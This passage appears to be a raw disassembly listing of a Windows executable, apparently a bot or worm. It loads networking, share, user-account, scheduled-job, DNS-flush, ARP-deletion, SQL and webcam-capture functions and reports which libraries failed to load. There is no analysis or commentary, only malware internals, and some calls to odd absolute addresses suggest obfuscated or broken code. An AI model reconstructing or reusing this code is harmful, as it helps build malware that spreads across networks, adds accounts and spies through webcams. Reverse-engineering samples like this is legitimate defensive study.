		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF9C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF54, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF18, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF88, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF2C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------


loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		nop
		call	near ptr 2660D84h
		mov	dword_4CB058, eax


loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB054, 1


loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE38, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		cmp	dword_4CAEB0, ebx
		mov	ecx, dword_4CAF0C
		mov	dword_4CAFA8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE38, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF3C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF48, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE78, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE70, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE80, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC


loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB05C, 1


loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF24, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		nop
		call	near ptr 2660D84h
		mov	dword_4CB060, eax
		mov	dword_4CB05C, 1


loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF24, ebx


loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		cmp	dword_4CAEFC, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_40A466
		cmp	dword_4CB02C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------


loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2660D84h
		mov	dword_4CB068, eax


loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB064, 1


loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE40, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE4C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE3C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		cmp	dword_4CAE68, ebx
		mov	dword_4CAEA8, eax
		jz	short loc_40A582
		cmp	dword_4CAE40, ebx
		jz	short loc_40A582
		cmp	dword_4CAEB8, ebx
		jz	short loc_40A582
		cmp	dword_4CAEEC, ebx
		jz	short loc_40A582
		cmp	dword_4CB004, ebx
		jz	short loc_40A582
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE4C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE3C, ebx
		jz	short loc_40A582
		cmp	dword_4CAED4, ebx
		jz	short loc_40A582
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A582
		cmp	dword_4CAF84, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A577:				; CODE XREF: sub_409B12+969j
		nop
		call	near ptr 2660D84h
		mov	dword_4CB070, eax


loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB06C, 1


loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		cmp	dword_4CAE90, ebx
		mov	dword_4CAF6C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------


loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 2660D84h
		mov	dword_4CB078, eax


loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB074, 1


loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		cmp	dword_4CAFF0, ebx
		mov	dword_4CAFEC, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		call	near ptr 2660D84h
		nop
		mov	dword_4CB080, eax


loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB07C, 1


loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB01C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CAFDC, eax
		call	esi
		cmp	dword_4CB01C, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_40A68A
		cmp	dword_4CB014, ebx
		jz	short loc_40A68A
		cmp	dword_4CAFDC, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------


loc_40A67F:				; CODE XREF: sub_409B12+B19j
		call	near ptr 2660D84h
		nop
		mov	dword_4CB088, eax


loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB084, 1


loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	dword_4CAFE8, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------


loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 2660D84h
		mov	dword_4CB090, eax


loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB08C, 1


loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		cmp	dword_4CAFB0, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A772
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A772
		cmp	dword_4CAF38, ebx
		jz	short loc_40A772
		cmp	dword_4CAEF0, ebx
		jz	short loc_40A772
		cmp	dword_4CAF90, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2660D84h
		mov	dword_4CB098, eax


loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB094, 1


loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CAEC4, ebx
		mov	dword_4CAFA4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------


loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2660D84h
		mov	dword_4CB0A0, eax


loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB09C, 1


loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB034, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB038
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB03C, esi
		jz	short loc_40A84A
		push	dword_4CB040
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB044, esi
		jz	short loc_40A87E
		push	dword_4CB048
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB04C, esi
		jz	short loc_40A8B2
		push	dword_4CB050
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB054, esi
		jz	short loc_40A8E6
		push	dword_4CB058
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB05C, esi
		jz	short loc_40A91A
		push	dword_4CB060
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB064, esi
		jz	short loc_40A94E
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB06C, esi
		jz	short loc_40A982
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB074, esi
		jz	short loc_40A9B6
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB07C, esi
		jz	short loc_40A9EA
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB084, esi
		jz	short loc_40AA1E
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB08C, esi
		jz	short loc_40AA52
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB094, esi
		jz	short loc_40AA86
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB09C, esi
		jz	short loc_40AABA
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D330
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAE90
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CAFF0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A


loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D544
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------


loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D520
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CAFF0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------


loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D4F0


loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4C0
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]


loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CAFEC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF18
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0A4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------


loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D590o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 2670B87h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D5F8[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D


loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7


loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		dd 265E5EE8h, 0E8509002h, 10BA8h, 10247C8Bh, 3C2404C7h
		dd 68004291h, 42C91Ch, 0E8571C6Ah, 10C38h, 0C483F633h
		dd 98353910h, 7E004290h, 0B88E826h, 0A6A0001h, 0F9F75999h
		dd 64685752h, 6A0042B4h, 11E8571Ch, 8300010Ch, 3B4614C4h
		dd 42909835h, 8BDA7C00h, 0C35E5FC7h

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2670B87h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3


loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD


loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 2670B87h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431250
		push	eax
		push	esi
		nop
		call	near ptr 26A0000h
